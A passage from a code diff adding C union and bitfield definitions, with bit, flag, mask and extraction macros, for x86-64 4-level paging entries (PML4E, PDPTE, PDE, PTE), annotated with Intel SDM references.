PML4E_64_WRITE_FLAG 0x02 +#define PML4E_64_WRITE_MASK 0x01 +#define PML4E_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PML4E_64_SUPERVISOR_BIT 2 +#define PML4E_64_SUPERVISOR_FLAG 0x04 +#define PML4E_64_SUPERVISOR_MASK 0x01 +#define PML4E_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page-directory-pointer table + * referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page-directory-pointer table + * referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PML4E_64_ACCESSED_BIT 5 +#define PML4E_64_ACCESSED_FLAG 0x20 +#define PML4E_64_ACCESSED_MASK 0x01 +#define PML4E_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 7] Reserved (must be 0). + */ + uint64_t must_be_zero : 1; +#define PML4E_64_MUST_BE_ZERO_BIT 7 +#define PML4E_64_MUST_BE_ZERO_FLAG 0x80 +#define PML4E_64_MUST_BE_ZERO_MASK 0x01 +#define PML4E_64_MUST_BE_ZERO(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint64_t ignored_1 : 4; +#define PML4E_64_IGNORED_1_BIT 8 +#define PML4E_64_IGNORED_1_FLAG 0xF00 +#define PML4E_64_IGNORED_1_MASK 0x0F +#define PML4E_64_IGNORED_1(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 47:12] Physical address of 4-KByte aligned page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PML4E_64_PAGE_FRAME_NUMBER_BIT 12 +#define PML4E_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PML4E_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PML4E_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 62:52] Ignored. + */ + uint64_t ignored_2 : 11; +#define PML4E_64_IGNORED_2_BIT 52 +#define PML4E_64_IGNORED_2_FLAG 0x7FF0000000000000 +#define PML4E_64_IGNORED_2_MASK 0x7FF +#define PML4E_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 512-GByte region + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PML4E_64_EXECUTE_DISABLE_BIT 63 +#define PML4E_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PML4E_64_EXECUTE_DISABLE_MASK 0x01 +#define PML4E_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pml4e_64; + +/** + * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 1-GByte page. + */ + uint64_t present : 1; +#define PDPTE_1GB_64_PRESENT_BIT 0 +#define PDPTE_1GB_64_PRESENT_FLAG 0x01 +#define PDPTE_1GB_64_PRESENT_MASK 0x01 +#define PDPTE_1GB_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDPTE_1GB_64_WRITE_BIT 1 +#define PDPTE_1GB_64_WRITE_FLAG 0x02 +#define PDPTE_1GB_64_WRITE_MASK 0x01 +#define PDPTE_1GB_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDPTE_1GB_64_SUPERVISOR_BIT 2 +#define PDPTE_1GB_64_SUPERVISOR_FLAG 0x04 +#define PDPTE_1GB_64_SUPERVISOR_MASK 0x01 +#define PDPTE_1GB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 1-GByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 1-GByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDPTE_1GB_64_ACCESSED_BIT 5 +#define PDPTE_1GB_64_ACCESSED_FLAG 0x20 +#define PDPTE_1GB_64_ACCESSED_MASK 0x01 +#define PDPTE_1GB_64_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t dirty : 1; +#define PDPTE_1GB_64_DIRTY_BIT 6 +#define PDPTE_1GB_64_DIRTY_FLAG 0x40 +#define PDPTE_1GB_64_DIRTY_MASK 0x01 +#define PDPTE_1GB_64_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). + */ + uint64_t large_page : 1; +#define PDPTE_1GB_64_LARGE_PAGE_BIT 7 +#define PDPTE_1GB_64_LARGE_PAGE_FLAG 0x80 +#define PDPTE_1GB_64_LARGE_PAGE_MASK 0x01 +#define PDPTE_1GB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint64_t global : 1; +#define PDPTE_1GB_64_GLOBAL_BIT 8 +#define PDPTE_1GB_64_GLOBAL_FLAG 0x100 +#define PDPTE_1GB_64_GLOBAL_MASK 0x01 +#define PDPTE_1GB_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PDPTE_1GB_64_IGNORED_1_BIT 9 +#define PDPTE_1GB_64_IGNORED_1_FLAG 0xE00 +#define PDPTE_1GB_64_IGNORED_1_MASK 0x07 +#define PDPTE_1GB_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bit 12] Indirectly determines the memory type used to access the 1-GByte page referenced by this entry. + * + * @note The PAT is supported on all processors that support 4-level paging. + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t pat : 1; +#define PDPTE_1GB_64_PAT_BIT 12 +#define PDPTE_1GB_64_PAT_FLAG 0x1000 +#define PDPTE_1GB_64_PAT_MASK 0x01 +#define PDPTE_1GB_64_PAT(_) (((_) >> 12) & 0x01) + uint64_t reserved1 : 17; + + /** + * [Bits 47:30] Physical address of the 1-GByte page referenced by this entry. + */ + uint64_t page_frame_number : 18; +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_BIT 30 +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_MASK 0x3FFFF +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PDPTE_1GB_64_IGNORED_2_BIT 52 +#define PDPTE_1GB_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PDPTE_1GB_64_IGNORED_2_MASK 0x7F +#define PDPTE_1GB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + + /** + * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint64_t protection_key : 4; +#define PDPTE_1GB_64_PROTECTION_KEY_BIT 59 +#define PDPTE_1GB_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PDPTE_1GB_64_PROTECTION_KEY_MASK 0x0F +#define PDPTE_1GB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDPTE_1GB_64_EXECUTE_DISABLE_BIT 63 +#define PDPTE_1GB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDPTE_1GB_64_EXECUTE_DISABLE_MASK 0x01 +#define PDPTE_1GB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pdpte_1gb_64; + +/** + * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that References a Page Directory + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page directory. + */ + uint64_t present : 1; +#define PDPTE_64_PRESENT_BIT 0 +#define PDPTE_64_PRESENT_FLAG 0x01 +#define PDPTE_64_PRESENT_MASK 0x01 +#define PDPTE_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDPTE_64_WRITE_BIT 1 +#define PDPTE_64_WRITE_FLAG 0x02 +#define PDPTE_64_WRITE_MASK 0x01 +#define PDPTE_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDPTE_64_SUPERVISOR_BIT 2 +#define PDPTE_64_SUPERVISOR_FLAG 0x04 +#define PDPTE_64_SUPERVISOR_MASK 0x01 +#define PDPTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page directory referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page directory referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDPTE_64_ACCESSED_BIT 5 +#define PDPTE_64_ACCESSED_FLAG 0x20 +#define PDPTE_64_ACCESSED_MASK 0x01 +#define PDPTE_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 1-GByte page). + */ + uint64_t large_page : 1; +#define PDPTE_64_LARGE_PAGE_BIT 7 +#define PDPTE_64_LARGE_PAGE_FLAG 0x80 +#define PDPTE_64_LARGE_PAGE_MASK 0x01 +#define PDPTE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint64_t ignored_1 : 4; +#define PDPTE_64_IGNORED_1_BIT 8 +#define PDPTE_64_IGNORED_1_FLAG 0xF00 +#define PDPTE_64_IGNORED_1_MASK 0x0F +#define PDPTE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 47:12] Physical address of 4-KByte aligned page directory referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PDPTE_64_PAGE_FRAME_NUMBER_BIT 12 +#define PDPTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PDPTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PDPTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 62:52] Ignored. + */ + uint64_t ignored_2 : 11; +#define PDPTE_64_IGNORED_2_BIT 52 +#define PDPTE_64_IGNORED_2_FLAG 0x7FF0000000000000 +#define PDPTE_64_IGNORED_2_MASK 0x7FF +#define PDPTE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte region + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDPTE_64_EXECUTE_DISABLE_BIT 63 +#define PDPTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDPTE_64_EXECUTE_DISABLE_MASK 0x01 +#define PDPTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pdpte_64; + +/** + * @brief Format of a 4-Level Page-Directory Entry that Maps a 2-MByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 2-MByte page. + */ + uint64_t present : 1; +#define PDE_2MB_64_PRESENT_BIT 0 +#define PDE_2MB_64_PRESENT_FLAG 0x01 +#define PDE_2MB_64_PRESENT_MASK 0x01 +#define PDE_2MB_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDE_2MB_64_WRITE_BIT 1 +#define PDE_2MB_64_WRITE_FLAG 0x02 +#define PDE_2MB_64_WRITE_MASK 0x01 +#define PDE_2MB_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDE_2MB_64_SUPERVISOR_BIT 2 +#define PDE_2MB_64_SUPERVISOR_FLAG 0x04 +#define PDE_2MB_64_SUPERVISOR_MASK 0x01 +#define PDE_2MB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 2-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 2-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDE_2MB_64_ACCESSED_BIT 5 +#define PDE_2MB_64_ACCESSED_FLAG 0x20 +#define PDE_2MB_64_ACCESSED_MASK 0x01 +#define PDE_2MB_64_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t dirty : 1; +#define PDE_2MB_64_DIRTY_BIT 6 +#define PDE_2MB_64_DIRTY_FLAG 0x40 +#define PDE_2MB_64_DIRTY_MASK 0x01 +#define PDE_2MB_64_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). + */ + uint64_t large_page : 1; +#define PDE_2MB_64_LARGE_PAGE_BIT 7 +#define PDE_2MB_64_LARGE_PAGE_FLAG 0x80 +#define PDE_2MB_64_LARGE_PAGE_MASK 0x01 +#define PDE_2MB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint64_t global : 1; +#define PDE_2MB_64_GLOBAL_BIT 8 +#define PDE_2MB_64_GLOBAL_FLAG 0x100 +#define PDE_2MB_64_GLOBAL_MASK 0x01 +#define PDE_2MB_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PDE_2MB_64_IGNORED_1_BIT 9 +#define PDE_2MB_64_IGNORED_1_FLAG 0xE00 +#define PDE_2MB_64_IGNORED_1_MASK 0x07 +#define PDE_2MB_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bit 12] Indirectly determines the memory type used to access the 2-MByte page referenced by this entry. + * + * @note The PAT is supported on all processors that support 4-level paging. + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t pat : 1; +#define PDE_2MB_64_PAT_BIT 12 +#define PDE_2MB_64_PAT_FLAG 0x1000 +#define PDE_2MB_64_PAT_MASK 0x01 +#define PDE_2MB_64_PAT(_) (((_) >> 12) & 0x01) + uint64_t reserved1 : 8; + + /** + * [Bits 47:21] Physical address of the 2-MByte page referenced by this entry. + */ + uint64_t page_frame_number : 27; +#define PDE_2MB_64_PAGE_FRAME_NUMBER_BIT 21 +#define PDE_2MB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 +#define PDE_2MB_64_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF +#define PDE_2MB_64_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PDE_2MB_64_IGNORED_2_BIT 52 +#define PDE_2MB_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PDE_2MB_64_IGNORED_2_MASK 0x7F +#define PDE_2MB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + + /** + * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint64_t protection_key : 4; +#define PDE_2MB_64_PROTECTION_KEY_BIT 59 +#define PDE_2MB_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PDE_2MB_64_PROTECTION_KEY_MASK 0x0F +#define PDE_2MB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte page + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDE_2MB_64_EXECUTE_DISABLE_BIT 63 +#define PDE_2MB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDE_2MB_64_EXECUTE_DISABLE_MASK 0x01 +#define PDE_2MB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pde_2mb_64; + +/** + * @brief Format of a 4-Level Page-Directory Entry that References a Page Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page table. + */ + uint64_t present : 1; +#define PDE_64_PRESENT_BIT 0 +#define PDE_64_PRESENT_FLAG 0x01 +#define PDE_64_PRESENT_MASK 0x01 +#define PDE_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDE_64_WRITE_BIT 1 +#define PDE_64_WRITE_FLAG 0x02 +#define PDE_64_WRITE_MASK 0x01 +#define PDE_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDE_64_SUPERVISOR_BIT 2 +#define PDE_64_SUPERVISOR_FLAG 0x04 +#define PDE_64_SUPERVISOR_MASK 0x01 +#define PDE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDE_64_ACCESSED_BIT 5 +#define PDE_64_ACCESSED_FLAG 0x20 +#define PDE_64_ACCESSED_MASK 0x01 +#define PDE_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 2-MByte page). + */ + uint64_t large_page : 1; +#define PDE_64_LARGE_PAGE_BIT 7 +#define PDE_64_LARGE_PAGE_FLAG 0x80 +#define PDE_64_LARGE_PAGE_MASK 0x01 +#define PDE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint64_t ignored_1 : 4; +#define PDE_64_IGNORED_1_BIT 8 +#define PDE_64_IGNORED_1_FLAG 0xF00 +#define PDE_64_IGNORED_1_MASK 0x0F +#define PDE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 47:12] Physical address of 4-KByte aligned page table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PDE_64_PAGE_FRAME_NUMBER_BIT 12 +#define PDE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PDE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PDE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 62:52] Ignored. + */ + uint64_t ignored_2 : 11; +#define PDE_64_IGNORED_2_BIT 52 +#define PDE_64_IGNORED_2_FLAG 0x7FF0000000000000 +#define PDE_64_IGNORED_2_MASK 0x7FF +#define PDE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte region + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDE_64_EXECUTE_DISABLE_BIT 63 +#define PDE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDE_64_EXECUTE_DISABLE_MASK 0x01 +#define PDE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pde_64; + +/** + * @brief Format of a 4-Level Page-Table Entry that Maps a 4-KByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 4-KByte page. + */ + uint64_t present : 1; +#define PTE_64_PRESENT_BIT 0 +#define PTE_64_PRESENT_FLAG 0x01 +#define PTE_64_PRESENT_MASK 0x01 +#define PTE_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PTE_64_WRITE_BIT 1 +#define PTE_64_WRITE_FLAG 0x02 +#define PTE_64_WRITE_MASK 0x01 +#define PTE_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PTE_64_SUPERVISOR_BIT 2 +#define PTE_64_SUPERVISOR_FLAG 0x04 +#define PTE_64_SUPERVISOR_MASK 0x01 +#define PTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define 